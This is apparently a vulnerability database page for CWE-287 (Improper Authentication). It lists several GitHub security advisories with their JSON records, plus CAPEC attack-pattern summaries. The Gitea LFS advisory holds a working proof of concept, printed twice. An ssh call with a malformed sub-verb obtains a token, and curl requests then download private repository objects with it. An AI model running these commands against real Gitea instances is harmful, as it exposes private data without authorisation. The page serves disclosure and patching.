CWE-287
DiscouragedImproper Authentication
Abstraction: Class · Status: Draft
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
6227 vulnerabilities reference this CWE, most recent first.
GHSA-7WJ3-GW7R-QR35
Vulnerability from github – Published: 2023-01-23 15:30 – Updated: 2025-04-02 18:30ONLYOFFICE all versions as of 2021-11-08 is affected by Incorrect Access Control. An attacker can authenticate with the web socket service of the ONLYOFFICE document editor which is protected by JWT auth by using a default JWT signing key.
{
"affected": [],
"aliases": [
"CVE-2021-43445"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-23T15:15:00Z",
"severity": "CRITICAL"
},
"details": "ONLYOFFICE all versions as of 2021-11-08 is affected by Incorrect Access Control. An attacker can authenticate with the web socket service of the ONLYOFFICE document editor which is protected by JWT auth by using a default JWT signing key.",
"id": "GHSA-7wj3-gw7r-qr35",
"modified": "2025-04-02T18:30:38Z",
"published": "2023-01-23T15:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43445"
},
{
"type": "WEB",
"url": "https://github.com/ONLYOFFICE/server"
},
{
"type": "WEB",
"url": "https://labs.nettitude.com/blog/exploiting-onlyoffice-web-sockets-for-unauthenticated-remote-code-execution"
},
{
"type": "WEB",
"url": "https://www.onlyoffice.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7WJF-9C93-MJW4
Vulnerability from github – Published: 2022-05-02 06:20 – Updated: 2022-05-02 06:20Sahana disaster management system 0.6.2.2, and possibly other versions, allows remote attackers to bypass intended access restrictions and disable administrator authentication via a direct request to stream.php in an acl_enable_acl action to the admin module.
{
"affected": [],
"aliases": [
"CVE-2010-1191"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-03-31T18:00:00Z",
"severity": "MODERATE"
},
"details": "Sahana disaster management system 0.6.2.2, and possibly other versions, allows remote attackers to bypass intended access restrictions and disable administrator authentication via a direct request to stream.php in an acl_enable_acl action to the admin module.",
"id": "GHSA-7wjf-9c93-mjw4",
"modified": "2022-05-02T06:20:04Z",
"published": "2022-05-02T06:20:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1191"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/39020"
},
{
"type": "WEB",
"url": "http://sourceforge.net/tracker/?func=detail\u0026aid=2970786\u0026group_id=127855\u0026atid=709778"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/510164/100/0/threaded"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7WM2-J7JQ-4XVR
Vulnerability from github – Published: 2022-05-02 03:12 – Updated: 2022-05-02 03:12ZXID 0.29 and earlier does not properly check the return value from the OpenSSL DSA_verify function, which allows remote attackers to bypass validation of the certificate chain via a malformed SSL/TLS signature, a similar vulnerability to CVE-2008-5077.
{
"affected": [],
"aliases": [
"CVE-2009-0051"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-01-07T18:30:00Z",
"severity": "MODERATE"
},
"details": "ZXID 0.29 and earlier does not properly check the return value from the OpenSSL DSA_verify function, which allows remote attackers to bypass validation of the certificate chain via a malformed SSL/TLS signature, a similar vulnerability to CVE-2008-5077.",
"id": "GHSA-7wm2-j7jq-4xvr",
"modified": "2022-05-02T03:12:35Z",
"published": "2022-05-02T03:12:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-0051"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/47837"
},
{
"type": "WEB",
"url": "http://www.ocert.org/advisories/ocert-2008-016.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/499827/100/0/threaded"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7WPM-78C8-XXQH
Vulnerability from github – Published: 2024-03-12 18:31 – Updated: 2024-03-12 18:31Microsoft Authenticator Elevation of Privilege Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-21390"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-12T17:15:49Z",
"severity": "HIGH"
},
"details": "Microsoft Authenticator Elevation of Privilege Vulnerability",
"id": "GHSA-7wpm-78c8-xxqh",
"modified": "2024-03-12T18:31:12Z",
"published": "2024-03-12T18:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21390"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21390"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7WRC-JF8C-7FMX
Vulnerability from github – Published: 2022-05-17 02:02 – Updated: 2022-05-17 02:02The Java Servlet framework on Cisco TelePresence Recording Server devices with software 1.6.x before 1.6.2 and Cisco TelePresence Multipoint Switch (CTMS) devices with software 1.0.x, 1.1.x, 1.5.x, and 1.6.x does not require administrative authentication for unspecified actions, which allows remote attackers to execute arbitrary code via a crafted request, aka Bug IDs CSCtf42005 and CSCtf42008.
{
"affected": [],
"aliases": [
"CVE-2011-0383"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2011-02-25T12:00:00Z",
"severity": "HIGH"
},
"details": "The Java Servlet framework on Cisco TelePresence Recording Server devices with software 1.6.x before 1.6.2 and Cisco TelePresence Multipoint Switch (CTMS) devices with software 1.0.x, 1.1.x, 1.5.x, and 1.6.x does not require administrative authentication for unspecified actions, which allows remote attackers to execute arbitrary code via a crafted request, aka Bug IDs CSCtf42005 and CSCtf42008.",
"id": "GHSA-7wrc-jf8c-7fmx",
"modified": "2022-05-17T02:02:43Z",
"published": "2022-05-17T02:02:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-0383"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/65602"
},
{
"type": "WEB",
"url": "http://www.cisco.com/en/US/products/products_security_advisory09186a0080b6e11d.shtml"
},
{
"type": "WEB",
"url": "http://www.cisco.com/en/US/products/products_security_advisory09186a0080b6e14e.shtml"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/46519"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1025113"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1025114"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7WRQ-VM6C-6QVC
Vulnerability from github – Published: 2022-05-17 02:41 – Updated: 2022-05-17 02:41The Toshiba FlashAir SD-WD/WC series Class 6 model with firmware version 1.00.04 and later, FlashAir SD-WD/WC series Class 10 model W-02 with firmware version 2.00.02 and later, FlashAir SD-WE series Class 10 model W-03, FlashAir Class 6 model with firmware version 1.00.04 and later, FlashAir II Class 10 model W-02 series with firmware version 2.00.02 and later, FlashAir III Class 10 model W-03 series, FlashAir Class 6 model with firmware version 1.00.04 and later, FlashAir W-02 series Class 10 model with firmware version 2.00.02 and later, FlashAir W-03 series Class 10 model does not require authentication on accepting a connection from STA side LAN when "Internet pass-thru Mode" is enabled, which allows attackers with access to STA side LAN can obtain files or data.
{
"affected": [],
"aliases": [
"CVE-2016-4863"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-05-22T16:29:00Z",
"severity": "MODERATE"
},
"details": "The Toshiba FlashAir SD-WD/WC series Class 6 model with firmware version 1.00.04 and later, FlashAir SD-WD/WC series Class 10 model W-02 with firmware version 2.00.02 and later, FlashAir SD-WE series Class 10 model W-03, FlashAir Class 6 model with firmware version 1.00.04 and later, FlashAir II Class 10 model W-02 series with firmware version 2.00.02 and later, FlashAir III Class 10 model W-03 series, FlashAir Class 6 model with firmware version 1.00.04 and later, FlashAir W-02 series Class 10 model with firmware version 2.00.02 and later, FlashAir W-03 series Class 10 model does not require authentication on accepting a connection from STA side LAN when \"Internet pass-thru Mode\" is enabled, which allows attackers with access to STA side LAN can obtain files or data.",
"id": "GHSA-7wrq-vm6c-6qvc",
"modified": "2022-05-17T02:41:52Z",
"published": "2022-05-17T02:41:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-4863"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN39619137/index.html"
},
{
"type": "WEB",
"url": "http://jvndb.jvn.jp/jvndb/JVNDB-2016-000168"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/93479"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7WVC-RVP7-W99X
Vulnerability from github – Published: 2026-07-21 20:35 – Updated: 2026-07-21 20:35Summary
A flaw in SSH LFS sub-verb handling allows any authenticated SSH user to obtain valid LFS credentials for any repository on the instance, including private repositories they have no access to. This enables unauthorized download of all LFS objects from any private repository.
Details
In cmd/serv.go, the getAccessMode function determines the required access level for SSH operations. For LFS verbs (git-lfs-authenticate, git-lfs-transfer), it switches on the sub-verb (upload/download). If the sub-verb is neither, execution falls through to:
setting.PanicInDevOrTesting("unknown verb: %s %s", verb, lfsVerb)
return perm.AccessModeNone
In production (IsProd=true), PanicInDevOrTesting only logs an error and does not panic. AccessModeNone (value 0) is then passed to ServCommand in routers/private/serv.go, where the permission check block at line ~322 evaluates:
if repoExist &&
(mode > perm.AccessModeRead ||
repo.IsPrivate ||
owner.Visibility.IsPrivate() ||
(user != nil && user.IsRestricted) ||
setting.Service.RequireSignInViewStrict) {
...
if userMode < mode { // userMode < 0 is always false
// deny access
}
}
For private repositories, repo.IsPrivate triggers the permission check block, but userMode < mode evaluates to userMode < 0, which is always false — access is granted regardless of the user's actual permissions.
The function then returns successfully, and runServ generates a valid LFS JWT token with Op: "badverb". On the HTTP LFS side (services/lfs/server.go:599), the Op field is only validated for write operations:
if mode == perm_model.AccessModeWrite && claims.Op != "upload" {
return nil, errors.New("invalid token claim")
}
Download operations do not check Op, so the attacker's token is accepted for all LFS read operations.
PoC
Prerequisites: A Gitea instance with SSH and LFS enabled (default configuration). Two users: admin (owns a private repo with LFS objects) and attacker (a regular user with an SSH key, no access to the private repo).
# 1. Verify attacker has NO access via normal LFS authenticate
ssh git@gitea-instance "git-lfs-authenticate admin/private-repo.git download"
# Output: "User: attacker is not authorized to read admin/private-repo."
# 2. EXPLOIT: Use malformed sub-verb to bypass permission check
ssh git@gitea-instance "git-lfs-authenticate admin/private-repo.git badverb"
# Output: {"header":{"Authorization":"Bearer eyJ..."},"href":"https://gitea-instance/admin/private-repo.git/info/lfs"}
# 3. Use stolen token to request LFS object download
curl -X POST "https://gitea-instance/admin/private-repo.git/info/lfs/objects/batch" \
-H "Content-Type: application/vnd.git-lfs+json" \
-H "Accept: application/vnd.git-lfs+json" \
-H "Authorization: Bearer eyJ..." \
-d '{"operation":"download","objects":[{"oid":"<known-oid>","size":<size>}]}'
# Returns download URL with valid authorization header
# 4. Download private LFS content
curl -H "Authorization: Bearer eyJ..." \
"https://gitea-instance/admin/private-repo.git/info/lfs/objects/<oid>"
# Returns the private LFS object content
Impact
Any user with SSH access to a Gitea instance (which includes any registered user if self-registration is enabled) can read LFS objects from any private repository on the instance, regardless of their actual repository permissions. This is a confidentiality breach affecting all Gitea deployments running in production mode with SSH and LFS enabled (the default configuration).
Suggested fix
Validate the LFS sub-verb before calling getAccessMode, or return an error instead of AccessModeNone for unknown verbs:
case git.CmdVerbLfsAuthenticate, git.CmdVerbLfsTransfer:
switch lfsVerb {
case git.CmdSubVerbLfsUpload:
return perm.AccessModeWrite
case git.CmdSubVerbLfsDownload:
return perm.AccessModeRead
default:
return fail(ctx, "Unknown LFS verb", "Unknown LFS verb: %s", lfsVerb)
}
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "1.23.0"
},
{
"fixed": "1.26.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-58423"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:35:09Z",
"nvd_published_at": "2026-07-03T21:17:05Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA flaw in SSH LFS sub-verb handling allows any authenticated SSH user to obtain valid LFS credentials for any repository on the instance, including private repositories they have no access to. This enables unauthorized download of all LFS objects from any private repository.\n\n### Details\n\nIn `cmd/serv.go`, the `getAccessMode` function determines the required access level for SSH operations. For LFS verbs (`git-lfs-authenticate`, `git-lfs-transfer`), it switches on the sub-verb (`upload`/`download`). If the sub-verb is neither, execution falls through to:\n\n```go\nsetting.PanicInDevOrTesting(\"unknown verb: %s %s\", verb, lfsVerb)\nreturn perm.AccessModeNone\n```\n\nIn production (`IsProd=true`), `PanicInDevOrTesting` only logs an error and does not panic. `AccessModeNone` (value `0`) is then passed to `ServCommand` in `routers/private/serv.go`, where the permission check block at line ~322 evaluates:\n\n```go\nif repoExist \u0026\u0026\n (mode \u003e perm.AccessModeRead ||\n repo.IsPrivate ||\n owner.Visibility.IsPrivate() ||\n (user != nil \u0026\u0026 user.IsRestricted) ||\n setting.Service.RequireSignInViewStrict) {\n ...\n if userMode \u003c mode { // userMode \u003c 0 is always false\n // deny access\n }\n}\n```\n\nFor private repositories, `repo.IsPrivate` triggers the permission check block, but `userMode \u003c mode` evaluates to `userMode \u003c 0`, which is always false \u2014 **access is granted regardless of the user\u0027s actual permissions**.\n\nThe function then returns successfully, and `runServ` generates a valid LFS JWT token with `Op: \"badverb\"`. On the HTTP LFS side (`services/lfs/server.go:599`), the `Op` field is only validated for write operations:\n\n```go\nif mode == perm_model.AccessModeWrite \u0026\u0026 claims.Op != \"upload\" {\n return nil, errors.New(\"invalid token claim\")\n}\n```\n\nDownload operations do not check `Op`, so the attacker\u0027s token is accepted for all LFS read operations.\n\n### PoC\n\nPrerequisites: A Gitea instance with SSH and LFS enabled (default configuration). Two users: `admin` (owns a private repo with LFS objects) and `attacker` (a regular user with an SSH key, **no access** to the private repo).\n\n```bash\n# 1. Verify attacker has NO access via normal LFS authenticate\nssh git@gitea-instance \"git-lfs-authenticate admin/private-repo.git download\"\n# Output: \"User: attacker is not authorized to read admin/private-repo.\"\n\n# 2. EXPLOIT: Use malformed sub-verb to bypass permission check\nssh git@gitea-instance \"git-lfs-authenticate admin/private-repo.git badverb\"\n# Output: {\"header\":{\"Authorization\":\"Bearer eyJ...\"},\"href\":\"https://gitea-instance/admin/private-repo.git/info/lfs\"}\n\n# 3. Use stolen token to request LFS object download\ncurl -X POST \"https://gitea-instance/admin/private-repo.git/info/lfs/objects/batch\" \\\n -H \"Content-Type: application/vnd.git-lfs+json\" \\\n -H \"Accept: application/vnd.git-lfs+json\" \\\n -H \"Authorization: Bearer eyJ...\" \\\n -d \u0027{\"operation\":\"download\",\"objects\":[{\"oid\":\"\u003cknown-oid\u003e\",\"size\":\u003csize\u003e}]}\u0027\n# Returns download URL with valid authorization header\n\n# 4. Download private LFS content\ncurl -H \"Authorization: Bearer eyJ...\" \\\n \"https://gitea-instance/admin/private-repo.git/info/lfs/objects/\u003coid\u003e\"\n# Returns the private LFS object content\n```\n\n### Impact\n\nAny user with SSH access to a Gitea instance (which includes any registered user if self-registration is enabled) can read LFS objects from **any private repository** on the instance, regardless of their actual repository permissions. This is a confidentiality breach affecting all Gitea deployments running in production mode with SSH and LFS enabled (the default configuration).\n\n### Suggested fix\n\nValidate the LFS sub-verb before calling `getAccessMode`, or return an error instead of `AccessModeNone` for unknown verbs:\n\n```go\ncase git.CmdVerbLfsAuthenticate, git.CmdVerbLfsTransfer:\n switch lfsVerb {\n case git.CmdSubVerbLfsUpload:\n return perm.AccessModeWrite\n case git.CmdSubVerbLfsDownload:\n return perm.AccessModeRead\n default:\n return fail(ctx, \"Unknown LFS verb\", \"Unknown LFS verb: %s\", lfsVerb)\n }\n```",
"id": "GHSA-7wvc-rvp7-w99x",
"modified": "2026-07-21T20:35:10Z",
"published": "2026-07-21T20:35:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-7wvc-rvp7-w99x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58423"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38008"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/42513398c05ca6bdf71da76cb6f9baaebe8cb924"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/8f4b7ebbf6061bd44b1ab3824f17f37b87fb1740"
},
{
"type": "WEB",
"url": "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.26.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Gitea: LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories"
}
GHSA-7X46-G3W8-H64V
Vulnerability from github – Published: 2025-12-28 12:30 – Updated: 2025-12-28 12:30A weakness has been identified in joey-zhou xiaozhi-esp32-server-java up to 3.0.0. This impacts the function tryAuthenticateWithCookies of the file AuthenticationInterceptor.java of the component Cookie Handler. Executing manipulation can lead to improper authentication. The attack can be launched remotely. The exploit has been made available to the public and could be exploited. Upgrading to version 4.0.0 will fix this issue. It is recommended to upgrade the affected component.
{
"affected": [],
"aliases": [
"CVE-2025-15135"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-28T12:15:41Z",
"severity": "MODERATE"
},
"details": "A weakness has been identified in joey-zhou xiaozhi-esp32-server-java up to 3.0.0. This impacts the function tryAuthenticateWithCookies of the file AuthenticationInterceptor.java of the component Cookie Handler. Executing manipulation can lead to improper authentication. The attack can be launched remotely. The exploit has been made available to the public and could be exploited. Upgrading to version 4.0.0 will fix this issue. It is recommended to upgrade the affected component.",
"id": "GHSA-7x46-g3w8-h64v",
"modified": "2025-12-28T12:30:24Z",
"published": "2025-12-28T12:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15135"
},
{
"type": "WEB",
"url": "https://github.com/joey-zhou/xiaozhi-esp32-server-java/issues/143"
},
{
"type": "WEB",
"url": "https://github.com/joey-zhou/xiaozhi-esp32-server-java/issues/143#issue-3722315701"
},
{
"type": "WEB",
"url": "https://github.com/joey-zhou/xiaozhi-esp32-server-java/issues/143#issuecomment-3666534810"
},
{
"type": "WEB",
"url": "https://github.com/joey-zhou/xiaozhi-esp32-server-java/releases/tag/v4.0.0"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.338513"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.338513"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.713990"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-7X69-82VJ-V63V
Vulnerability from github – Published: 2022-05-17 04:39 – Updated: 2022-05-17 04:39Raritan PX before 1.5.11 on DPXR20A-16 devices allows remote attackers to bypass authentication and execute arbitrary IPMI commands by using cipher suite 0 (aka cipher zero) and an arbitrary password.
{
"affected": [],
"aliases": [
"CVE-2014-2955"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-07-14T21:55:00Z",
"severity": "HIGH"
},
"details": "Raritan PX before 1.5.11 on DPXR20A-16 devices allows remote attackers to bypass authentication and execute arbitrary IPMI commands by using cipher suite 0 (aka cipher zero) and an arbitrary password.",
"id": "GHSA-7x69-82vj-v63v",
"modified": "2022-05-17T04:39:54Z",
"published": "2022-05-17T04:39:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-2955"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2014/Jul/14"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/712660"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7X72-C8HQ-2G3Q
Vulnerability from github – Published: 2022-05-17 04:47 – Updated: 2022-05-17 04:47The Artiva Agency Single Sign-On (SSO) implementation in Artiva Workstation 1.3.x before 1.3.9, Artiva Rm 3.1 MR7, Artiva Healthcare 5.2 MR5, and Artiva Architect 3.2 MR5, when the domain-name option is enabled, allows remote attackers to login to arbitrary domain accounts by using the corresponding username on a Windows client machine.
{
"affected": [],
"aliases": [
"CVE-2014-0348"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-04-15T10:55:00Z",
"severity": "LOW"
},
"details": "The Artiva Agency Single Sign-On (SSO) implementation in Artiva Workstation 1.3.x before 1.3.9, Artiva Rm 3.1 MR7, Artiva Healthcare 5.2 MR5, and Artiva Architect 3.2 MR5, when the domain-name option is enabled, allows remote attackers to login to arbitrary domain accounts by using the corresponding username on a Windows client machine.",
"id": "GHSA-7x72-c8hq-2g3q",
"modified": "2022-05-17T04:47:03Z",
"published": "2022-05-17T04:47:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0348"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/215284"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Libraries or Frameworks
Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
CAPEC-114: Authentication Abuse
An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.
CAPEC-115: Authentication Bypass
An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.
CAPEC-151: Identity Spoofing
Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.
CAPEC-194: Fake the Source of Data
An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data
This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.
CAPEC-593: Session Hijacking
This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.
CAPEC-633: Token Impersonation
An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.
CAPEC-650: Upload a Web Shell to a Web Server
By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.